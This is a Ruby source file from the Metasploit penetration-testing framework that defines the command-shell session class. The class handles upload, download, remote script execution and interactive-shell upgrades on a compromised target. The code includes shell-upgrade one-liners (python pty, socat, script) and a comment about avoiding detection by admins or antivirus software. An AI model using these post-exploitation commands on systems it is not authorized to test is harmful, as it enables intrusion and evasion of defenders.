Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/msf/base/sessions/command_shell.rb
Views: 11784
# -*- coding: binary -*-1require 'shellwords'2require 'rex/text/table'3require "base64"45module Msf6module Sessions78###9#10# This class provides basic interaction with a command shell on the remote11# endpoint. This session is initialized with a stream that will be used12# as the pipe for reading and writing the command shell.13#14###15class CommandShell1617#18# This interface supports basic interaction.19#20include Msf::Session::Basic2122#23# This interface supports interacting with a single command shell.24#25include Msf::Session::Provider::SingleCommandShell2627include Msf::Sessions::Scriptable2829include Rex::Ui::Text::Resource3031@@irb_opts = Rex::Parser::Arguments.new(32['-h', '--help'] => [false, 'Help menu.' ],33'-e' => [true, 'Expression to evaluate.']34)3536##37# :category: Msf::Session::Scriptable implementors38#39# Runs the shell session script or resource file.40#41def execute_file(full_path, args)42if File.extname(full_path) == '.rb'43Rex::Script::Shell.new(self, full_path).run(args)44else45load_resource(full_path)46end47end4849#50# Returns the type of session.51#52def self.type53"shell"54end5556def self.can_cleanup_files57true58end5960def initialize(conn, opts = {})61self.platform ||= ""62self.arch ||= ""63self.max_threads = 164@cleanup = false65datastore = opts[:datastore]66if datastore && !datastore["CommandShellCleanupCommand"].blank?67@cleanup_command = datastore["CommandShellCleanupCommand"]68end69super70end7172#73# Returns the session description.74#75def desc76"Command shell"77end7879#80# Calls the class method81#82def type83self.class.type84end8586def abort_foreground_supported87self.platform != 'windows'88end8990##91# :category: Msf::Session::Provider::SingleCommandShell implementors92#93# The shell will have been initialized by default.94#95def shell_init96return true97end9899def bootstrap(datastore = {}, handler = nil)100session = self101102if datastore['AutoVerifySession']103session_info = ''104105# Read the initial output and mash it into a single line106# Timeout set to 1 to read in banner of all payload responses (may capture prompt as well)107# Encoding is not forced to support non ASCII shells108if session.info.nil? || session.info.empty?109banner = shell_read(-1, 1)110if banner && !banner.empty?111banner.gsub!(/[^[:print:][:space:]]+/n, "_")112banner.strip!113114session_info = @banner = %Q{115Shell Banner:116#{banner}117-----118}119end120end121122token = Rex::Text.rand_text_alphanumeric(8..24)123response = shell_command("echo #{token}")124unless response&.include?(token)125dlog("Session #{session.sid} failed to respond to an echo command")126print_error("Command shell session #{session.sid} is not valid and will be closed")127session.kill128return nil129end130131# Only populate +session.info+ with a captured banner if the shell is responsive and verified132session.info = session_info if session.info.blank?133session134else135# Encrypted shells need all information read before anything is written, so we read in the banner here. However we136# don't populate session.info with the captured value since without AutoVerify there's no way to be certain this137# actually is a banner and not junk/malicious input138if session.class == ::Msf::Sessions::EncryptedShell139shell_read(-1, 0.1)140end141end142end143144#145# Return the subdir of the `documentation/` directory that should be used146# to find usage documentation147#148def docs_dir149File.join(super, 'shell_session')150end151152#153# List of supported commands.154#155def commands156{157'help' => 'Help menu',158'background' => 'Backgrounds the current shell session',159'sessions' => 'Quickly switch to another session',160'resource' => 'Run a meta commands script stored in a local file',161'shell' => 'Spawn an interactive shell (*NIX Only)',162'download' => 'Download files',163'upload' => 'Upload files',164'source' => 'Run a shell script on remote machine (*NIX Only)',165'irb' => 'Open an interactive Ruby shell on the current session',166'pry' => 'Open the Pry debugger on the current session'167}168end169170def cmd_help_help171print_line "There's only so much I can do"172end173174def cmd_help(*args)175cmd = args.shift176177if cmd178unless commands.key?(cmd)179return print_error('No such command')180end181182unless respond_to?("cmd_#{cmd}_help")183return print_error("No help for #{cmd}, try -h")184end185186return send("cmd_#{cmd}_help")187end188189columns = ['Command', 'Description']190191tbl = Rex::Text::Table.new(192'Header' => 'Meta shell commands',193'Prefix' => "\n",194'Postfix' => "\n",195'Indent' => 4,196'Columns' => columns,197'SortIndex' => -1198)199200commands.each do |key, value|201tbl << [key, value]202end203204print(tbl.to_s)205print("For more info on a specific command, use %grn<command> -h%clr or %grnhelp <command>%clr.\n\n")206end207208def cmd_background_help209print_line "Usage: background"210print_line211print_line "Stop interacting with this session and return to the parent prompt"212print_line213end214215def cmd_background(*args)216if !args.empty?217# We assume that background does not need arguments218# If user input does not follow this specification219# Then show help (Including '-h' '--help'...)220return cmd_background_help221end222223if prompt_yesno("Background session #{name}?")224self.interacting = false225end226end227228def cmd_sessions_help229print_line('Usage: sessions <id>')230print_line231print_line('Interact with a different session Id.')232print_line('This command only accepts one positive numeric argument.')233print_line('This works the same as calling this from the MSF shell: sessions -i <session id>')234print_line235end236237def cmd_sessions(*args)238if args.length != 1239print_status "Wrong number of arguments expected: 1, received: #{args.length}"240return cmd_sessions_help241end242243if args[0] == '-h' || args[0] == '--help'244return cmd_sessions_help245end246247session_id = args[0].to_i248if session_id <= 0249print_status 'Invalid session id'250return cmd_sessions_help251end252253if session_id == self.sid254# Src == Dst255print_status("Session #{self.name} is already interactive.")256else257print_status("Backgrounding session #{self.name}...")258# store the next session id so that it can be referenced as soon259# as this session is no longer interacting260self.next_session = session_id261self.interacting = false262end263end264265def cmd_resource(*args)266if args.empty? || args[0] == '-h' || args[0] == '--help'267cmd_resource_help268return false269end270271args.each do |res|272good_res = nil273if res == '-'274good_res = res275elsif ::File.exist?(res)276good_res = res277elsif278# let's check to see if it's in the scripts/resource dir (like when tab completed)279[280::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter',281::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter'282].each do |dir|283res_path = ::File::join(dir, res)284if ::File.exist?(res_path)285good_res = res_path286break287end288end289end290if good_res291print_status("Executing resource script #{good_res}")292load_resource(good_res)293print_status("Resource script #{good_res} complete")294else295print_error("#{res} is not a valid resource file")296next297end298end299end300301def cmd_resource_help302print_line "Usage: resource path1 [path2 ...]"303print_line304print_line "Run the commands stored in the supplied files. (- for stdin, press CTRL+D to end input from stdin)"305print_line "Resource files may also contain ERB or Ruby code between <ruby></ruby> tags."306print_line307end308309def cmd_shell_help()310print_line('Usage: shell')311print_line312print_line('Pop up an interactive shell via multiple methods.')313print_line('An interactive shell means that you can use several useful commands like `passwd`, `su [username]`')314print_line('There are four implementations of it: ')315print_line('\t1. using python `pty` module (default choice)')316print_line('\t2. using `socat` command')317print_line('\t3. using `script` command')318print_line('\t4. upload a pty program via reverse shell')319print_line320end321322def cmd_shell(*args)323if args.length == 1 && (args[0] == '-h' || args[0] == '--help')324# One arg, and args[0] => '-h' '--help'325return cmd_shell_help326end327328if platform == 'windows'329print_error('Functionality not supported on windows')330return331end332333# 1. Using python334python_path = binary_exists("python") || binary_exists("python3")335if python_path != nil336print_status("Using `python` to pop up an interactive shell")337# Ideally use bash for a friendlier shell, but fall back to /bin/sh if it doesn't exist338shell_path = binary_exists("bash") || '/bin/sh'339shell_command("#{python_path} -c \"#{ Msf::Payload::Python.create_exec_stub("import pty; pty.spawn('#{shell_path}')") } \"")340return341end342343# 2. Using script344script_path = binary_exists("script")345if script_path != nil346print_status("Using `script` to pop up an interactive shell")347# Payload: script /dev/null348# Using /dev/null to make sure there is no log file on the target machine349# Prevent being detected by the admin or antivirus software350shell_command("#{script_path} /dev/null")351return352end353354# 3. Using socat355socat_path = binary_exists("socat")356if socat_path != nil357# Payload: socat - exec:'bash -li',pty,stderr,setsid,sigint,sane358print_status("Using `socat` to pop up an interactive shell")359shell_command("#{socat_path} - exec:'/bin/sh -li',pty,stderr,setsid,sigint,sane")360return361end362363# 4. Using pty program364# 4.1 Detect arch and destribution365# 4.2 Real time compiling366# 4.3 Upload binary367# 4.4 Change mode of binary368# 4.5 Execute binary369370print_error("Can not pop up an interactive shell")371end372373def self.binary_exists(binary, platform: nil, &block)374if block.call('command -v command').to_s.strip == 'command'375binary_path = block.call("command -v '#{binary}' && echo true").to_s.strip376else377binary_path = block.call("which '#{binary}' && echo true").to_s.strip378end379return nil unless binary_path.include?('true')380381binary_path.split("\n")[0].strip # removes 'true' from stdout382end383384#385# Returns path of a binary in PATH env.386#387def binary_exists(binary)388print_status("Trying to find binary '#{binary}' on the target machine")389390binary_path = self.class.binary_exists(binary, platform: platform) do |command|391shell_command_token(command)392end393394if binary_path.nil?395print_error("#{binary} not found")396else397print_status("Found #{binary} at #{binary_path}")398end399400return binary_path401end402403def cmd_download_help404print_line("Usage: download [src] [dst]")405print_line406print_line("Downloads remote files to the local machine.")407print_line("Only files are supported.")408print_line409end410411def cmd_download(*args)412if args.length != 2413# no arguments, just print help message414return cmd_download_help415end416417src = args[0]418dst = args[1]419420# Check if src exists421if !_file_transfer.file_exist?(src)422print_error("The target file does not exist")423return424end425426# Get file content427print_status("Download #{src} => #{dst}")428content = _file_transfer.read_file(src)429430# Write file to local machine431File.binwrite(dst, content)432print_good("Done")433434rescue NotImplementedError => e435print_error(e.message)436end437438def cmd_upload_help439print_line("Usage: upload [src] [dst]")440print_line441print_line("Uploads load file to the victim machine.")442print_line("This command does not support to upload a FOLDER yet")443print_line444end445446def cmd_upload(*args)447if args.length != 2448# no arguments, just print help message449return cmd_upload_help450end451452src = args[0]453dst = args[1]454455# Check target file exists on the target machine456if _file_transfer.file_exist?(dst)457print_warning("The file <#{dst}> already exists on the target machine")458unless prompt_yesno("Overwrite the target file <#{dst}>?")459return460end461end462463begin464content = File.binread(src)465result = _file_transfer.write_file(dst, content)466print_good("File <#{dst}> upload finished") if result467print_error("Error occurred while uploading <#{src}> to <#{dst}>") unless result468rescue => e469print_error("Error occurred while uploading <#{src}> to <#{dst}> - #{e.message}")470elog(e)471return472end473474rescue NotImplementedError => e475print_error(e.message)476end477478def cmd_source_help479print_line("Usage: source [file] [background]")480print_line481print_line("Execute a local shell script file on remote machine")482print_line("This meta command will upload the script then execute it on the remote machine")483print_line484print_line("background")485print_line("`y` represent execute the script in background, `n` represent on foreground")486end487488def cmd_source(*args)489if args.length != 2490# no arguments, just print help message491return cmd_source_help492end493494if platform == 'windows'495print_error('Functionality not supported on windows')496return497end498499background = args[1].downcase == 'y'500501local_file = args[0]502remote_file = "/tmp/." + ::Rex::Text.rand_text_alpha(32) + ".sh"503504cmd_upload(local_file, remote_file)505506# Change file permission in case of TOCTOU507shell_command("chmod 0600 #{remote_file}")508509if background510print_status("Executing on remote machine background")511print_line(shell_command("nohup sh -x #{remote_file} &"))512else513print_status("Executing on remote machine foreground")514print_line(shell_command("sh -x #{remote_file}"))515end516print_status("Cleaning temp file on remote machine")517shell_command("rm -rf '#{remote_file}'")518end519520def cmd_irb_help521print_line('Usage: irb')522print_line523print_line('Open an interactive Ruby shell on the current session.')524print @@irb_opts.usage525end526527#528# Open an interactive Ruby shell on the current session529#530def cmd_irb(*args)531expressions = []532533# Parse the command options534@@irb_opts.parse(args) do |opt, idx, val|535case opt536when '-e'537expressions << val538when '-h'539return cmd_irb_help540end541end542543session = self544framework = self.framework545546if expressions.empty?547print_status('Starting IRB shell...')548print_status("You are in the \"self\" (session) object\n")549framework.history_manager.with_context(name: :irb) do550Rex::Ui::Text::IrbShell.new(self).run551end552else553# XXX: No vprint_status here554if framework.datastore['VERBOSE'].to_s == 'true'555print_status("You are executing expressions in #{binding.receiver}")556end557558expressions.each { |expression| eval(expression, binding) }559end560end561562def cmd_pry_help563print_line 'Usage: pry'564print_line565print_line 'Open the Pry debugger on the current session.'566print_line567end568569#570# Open the Pry debugger on the current session571#572def cmd_pry(*args)573if args.include?('-h') || args.include?('--help')574cmd_pry_help575return576end577578begin579require 'pry'580rescue LoadError581print_error('Failed to load Pry, try "gem install pry"')582return583end584585print_status('Starting Pry shell...')586print_status("You are in the \"self\" (session) object\n")587Pry.config.history_load = false588framework.history_manager.with_context(history_file: Msf::Config.pry_history, name: :pry) do589self.pry590end591end592593#594# Explicitly runs a single line command.595#596def run_single(cmd)597# Do nil check for cmd (CTRL+D will cause nil error)598return unless cmd599600begin601arguments = Shellwords.shellwords(cmd)602method = arguments.shift603rescue ArgumentError => e604# Handle invalid shellwords, such as unmatched quotes605# See https://github.com/rapid7/metasploit-framework/issues/15912606end607608# Built-in command609if commands.key?(method)610return run_builtin_cmd(method, arguments)611end612613# User input is not a built-in command, write to socket directly614shell_write(cmd + command_termination)615end616617#618# Run built-in command619#620def run_builtin_cmd(method, arguments)621# Dynamic function call622self.send('cmd_' + method, *arguments)623end624625##626# :category: Msf::Session::Provider::SingleCommandShell implementors627#628# Explicitly run a single command, return the output.629#630def shell_command(cmd, timeout=5)631# Send the command to the session's stdin.632shell_write(cmd + command_termination)633634etime = ::Time.now.to_f + timeout635buff = ""636637# Keep reading data until no more data is available or the timeout is638# reached.639while (::Time.now.to_f < etime and (self.respond_to?(:ring) or ::IO.select([rstream], nil, nil, timeout)))640res = shell_read(-1, 0.01)641buff << res if res642timeout = etime - ::Time.now.to_f643end644645buff646end647648##649# :category: Msf::Session::Provider::SingleCommandShell implementors650#651# Read from the command shell.652#653def shell_read(length=-1, timeout=1)654begin655rv = rstream.get_once(length, timeout)656rlog(rv, self.log_source) if rv && self.log_source657framework.events.on_session_output(self, rv) if rv658return rv659rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e660#print_error("Socket error: #{e.class}: #{e}")661shell_close662raise e663end664end665666##667# :category: Msf::Session::Provider::SingleCommandShell implementors668#669# Writes to the command shell.670#671def shell_write(buf)672return unless buf673674begin675rlog(buf, self.log_source) if self.log_source676framework.events.on_session_command(self, buf.strip)677rstream.write(buf)678rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e679#print_error("Socket error: #{e.class}: #{e}")680shell_close681raise e682end683end684685##686# :category: Msf::Session::Provider::SingleCommandShell implementors687#688# Closes the shell.689# Note: parent's 'self.kill' method calls cleanup below.690#691def shell_close()692self.kill693end694695##696# :category: Msf::Session implementors697#698# Closes the shell.699#700def cleanup701return if @cleanup702703@cleanup = true704if rstream705if !@cleanup_command.blank?706# this is a best effort, since the session is possibly already dead707shell_command_token(@cleanup_command) rescue nil708709# we should only ever cleanup once710@cleanup_command = nil711end712713# this is also a best-effort714rstream.close rescue nil715rstream = nil716end717super718end719720#721# Execute any specified auto-run scripts for this session722#723def process_autoruns(datastore)724if datastore['InitialAutoRunScript'] && !datastore['InitialAutoRunScript'].empty?725args = Shellwords.shellwords( datastore['InitialAutoRunScript'] )726print_status("Session ID #{sid} (#{tunnel_to_s}) processing InitialAutoRunScript '#{datastore['InitialAutoRunScript']}'")727execute_script(args.shift, *args)728end729730if (datastore['AutoRunScript'] && datastore['AutoRunScript'].empty? == false)731args = Shellwords.shellwords( datastore['AutoRunScript'] )732print_status("Session ID #{sid} (#{tunnel_to_s}) processing AutoRunScript '#{datastore['AutoRunScript']}'")733execute_script(args.shift, *args)734end735end736737# Perform command line escaping wherein most chars are able to be escaped by quoting them,738# but others don't have a valid way of existing inside quotes, so we need to "glue" together739# a series of sections of the original command line; some sections inside quotes, and some outside740# @param arg [String] The command line arg to escape741# @param quote_requiring [Array<String>] The chars that can successfully be escaped inside quotes742# @param unquotable_char [String] The character that can't exist inside quotes743# @param escaped_unquotable_char [String] The escaped form of unquotable_char744# @param quote_char [String] The char used for quoting745def self._glue_cmdline_escape(arg, quote_requiring, unquotable_char, escaped_unquotable_char, quote_char)746current_token = ""747result = ""748in_quotes = false749750arg.each_char do |char|751if char == unquotable_char752if in_quotes753# This token has been in an inside-quote context, so let's properly wrap that before continuing754current_token = "#{quote_char}#{current_token}#{quote_char}"755end756result += current_token757result += escaped_unquotable_char # Escape the offending percent758759# Start a new token - we'll assume we're remaining outside quotes760current_token = ''761in_quotes = false762next763elsif quote_requiring.include?(char)764# Oh, it turns out we should have been inside quotes for this token.765# Let's note that, for when we actually append the token766in_quotes = true767end768current_token += char769end770771if in_quotes772# The final token has been in an inside-quote context, so let's properly wrap that before continuing773current_token = "#{quote_char}#{current_token}#{quote_char}"774end775result += current_token776777result778end779780attr_accessor :arch781attr_accessor :platform782attr_accessor :max_threads783attr_reader :banner784785protected786787##788# :category: Msf::Session::Interactive implementors789#790# Override the basic session interaction to use shell_read and791# shell_write instead of operating on rstream directly.792def _interact793framework.events.on_session_interact(self)794framework.history_manager.with_context(name: self.type.to_sym) {795_interact_stream796}797end798799##800# :category: Msf::Session::Interactive implementors801#802def _interact_stream803fds = [rstream.fd, user_input.fd]804805# Displays +info+ on all session startups806# +info+ is set to the shell banner and initial prompt in the +bootstrap+ method807user_output.print("#{@banner}\n") if !@banner.blank? && self.interacting808809run_single('')810811while self.interacting812sd = Rex::ThreadSafe.select(fds, nil, fds, 0.5)813next unless sd814815if sd[0].include? rstream.fd816user_output.print(shell_read)817end818if sd[0].include? user_input.fd819run_single((user_input.gets || '').chomp("\n"))820end821Thread.pass822end823end824825# Functionality used as part of builtin commands/metashell support that isn't meant to be exposed826# as part of the CommandShell's public API827class FileTransfer828include Msf::Post::File829830# @param [Msf::Sessions::CommandShell] session831def initialize(session)832@session = session833end834835private836837def vprint_status(s)838session.print_status(s)839end840841attr_reader :session842end843844def _file_transfer845raise NotImplementedError.new('Session does not support file transfers.') if session_type.ends_with?(':winpty')846847FileTransfer.new(self)848end849end850851end852end853854855